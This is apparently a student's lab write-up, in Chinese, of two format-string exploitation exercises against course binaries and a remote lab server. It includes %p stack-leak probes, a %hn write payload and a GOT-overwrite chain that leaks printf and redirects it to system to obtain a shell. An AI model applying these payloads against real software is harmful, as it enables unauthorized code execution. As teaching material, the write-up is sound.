lab-02_ 格式化字符串漏洞
[!ABSTRACT]
俞仲炜 3220104929 241117
注:关于源代码文件名中最后一个字母,l
指攻击本地文件的,r
指远程攻击的
FSB1
[!QUOTE]
请阅读
fsb1.c
的内容,在本地和远程服务上完成攻击(要求 getshell)。远程服务暴露在:
- ip:
8.154.20.109
,port:10300
思路
首先通过 payload = b"ABCD.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
得到以下信息
ABCD.0x7ffcb329c020.0x80.0x7fa7e3665a61.0x20.(nil).0x7fa7e374e4e0.
0xbeaf.0x2e70252e44434241.0x70252e70252e7025.0x252e70252e70252e
由此确认 content
的偏移量为 8
参考 example.py
的思路,确定 payload
还需要填充 2 个 byte,进而可以确认两个 hn
的偏移量分别为 11
和 12
address_of_var | 12 |
---|---|
address_of_var + 2 | 11 |
$hnA c%12 | 10 |
7667 hn%1 | 9 |
%11$ %17c | 8(content) |
beaf | 7(x) |
为检测 x
是否被正确修改,在 fsb1.c
中增加下面两条数据
下图中可看到 x
确实是 114514
本地结果
成功拿 shell,执行 ls
远程结果
FSB2
[!QUOTE]
请阅读
fsb2.c
的内容,在本地和远程服务上完成攻击(要求 getshell)。远程服务暴露在: - ip:8.154.20.109
,port:10301
[!TIP]
- 攻击步骤: 1. 通过泄露 libc 函数来确定 libc 加载的虚拟地址,并通过计算拿到 system 的地址; 2. 覆盖 printf 的 GOT 表为 system; 3. 调用 printf 以触发 system 从而 getshell。
- 你可以通过学习 pwntools 中 fmtstr 库 的相关 API 来简化攻击流程。
首先检查程序
64 位,Partial RELRO 表明 GOT 可写,没有 Stack Canary,NX enabled 表明不能往 stack 注入代码来攻击,No PIE 则程序加载基址固定,等等
首先查看栈情况,输入 ABCD.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n
得到:
ABCD.0x7ffe776fbad0.0x100.0x7f356ec26a61.(nil).0x7f356ed2d380.0x2e70252e44434241.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0xa.(nil)
可见 buffer
偏移量为 6
我们希望找到 libc
里的 system
地址,但是我们只能获取 offset,基地址会改变
不过程序里使用 printf
,我们可以通过 GOT 泄露其地址,减去其 offset,就解决了
payload = b""
payload += b"VVVV"
payload += b"%7$s" # buffer 偏移量是 6,地址放第二个参数位置
payload += p64(printf_got) # 防止被 0 截断 printf,地址后放
[!BUG] 32 位与 64 位的区别
上课一直在讲 32 位,作业环境是 64 位,如果没有扎实的基础就会遇到问题
像这里我一开始是先加的 p64 的
printf_got
,然后没有填充字节就放入%7$s
,导致偷偷填充的0
截断了 payload,没有执行到%7$s
得到了 printf_addr
就简单了,很容易算出 system_addr
然后使用 fmtstr_payload
自动构造覆盖 GOT 表的 payload,让下一次 printf
执行 system
,并输入 /bin/sh\0
,拿 shell
[!BUG]
我在写完代码后本地一直跑不通 ,最后发现是自己用
ELF
解析时,傻傻用了仓库提供的libc.so
,与我本地的版本不一样 T-T
本地结果
成功拿 shell,执行 ls
远程结果
远程的 libc.so
使用仓库提供的 libc.so
版本